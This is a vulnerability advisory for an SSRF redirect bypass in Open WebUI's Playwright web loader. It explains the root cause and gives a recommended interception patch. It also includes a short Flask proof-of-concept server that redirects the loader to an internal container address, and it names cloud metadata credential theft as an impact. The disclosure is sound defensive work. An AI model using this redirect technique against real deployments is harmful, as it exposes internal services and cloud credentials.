PT-2026-50590 · Pypi · Open-Webui

Published

2026-06-17

·

Updated

2026-06-17

·

CVE-2026-54018

CVSS v3.1

7.7

High

VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

The SafePlaywrightURLLoader implements a validate url function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL.
Since Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata).
This allows the application to access internal services despite ENABLE RAG LOCAL WEB FETCH being set to False

Details

Root Cause
The application validates the initial user-provided URL using self. safe process url sync(url). This correctly resolves the domain and ensures it does not point to a private IP.
The application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302).
The Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the browser follows it without re-validating the new destination. The initial validation is bypassed because it only checked the first URL, not the entire redirect chain.
python
for url in self.urls:
  try:
    self. safe process url sync(url) 
    page = browser.new page()
    response = page.goto(url, timeout=self.playwright timeout) #this
    if response is None:
      raise ValueError(...)
    text = self.evaluator.evaluate(page, browser, response)

PoC

(This PoC uses Docker to easily demonstrate internal network access (accessing a container by service name). However, the vulnerability is NOT tied to Docker.)
  1. Ensure the Open WebUI is configured with the following environment variables. The vulnerability is specific to the Playwright engine.
  2. ENABLE RAG LOCAL WEB FETCH=False (Default)
  3. RAG WEB LOADER ENGINE=playwright
  4. Setup and run attack server
  5. In Open WebUI, use the "Web Search" or "URL Loader" feature.
  6. Input the attacker's URL (e.g., http://attacker-ip/).
python
# attack server.py
from flask import Flask, redirect
app = Flask( name )

@app.route('/')
def attack():
  # Redirect to the Open WebUI container's internal port
  return redirect("http://open-webui:8080/api/version", code=302)

if  name  == ' main ':
  app.run(host='0.0.0.0', port=80)
image
The Playwright browser follows the redirect to the internal address (http://open-webui:8080/api/version)

Impact

  • Cloud Environments: Access to Instance Metadata Service (IMDS) to steal cloud credentials.
  • Intranet/On-Premise: Scanning internal networks and accessing unauthenticated internal tools.
  • Container Environments: Accessing other containers within the same network.

Recommended Patch

implement a request interceptor using Playwright's page.route. This ensures all requests, including redirects, are validated before connection.
apply the following logic to both lazy load and alazy load methods:
python
# async context
async def intercept route(route):
  try:
    await run in threadpool(validate url, route.request.url)
    await route.continue ()
  except Exception:
    await route.abort()

await page.route("**/*", intercept route)
response = await page.goto(url, timeout=self.playwright timeout)

Fix

SSRF

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-54018
GHSA-JRFP-M64G-PCWV

Affected Products

Open-Webui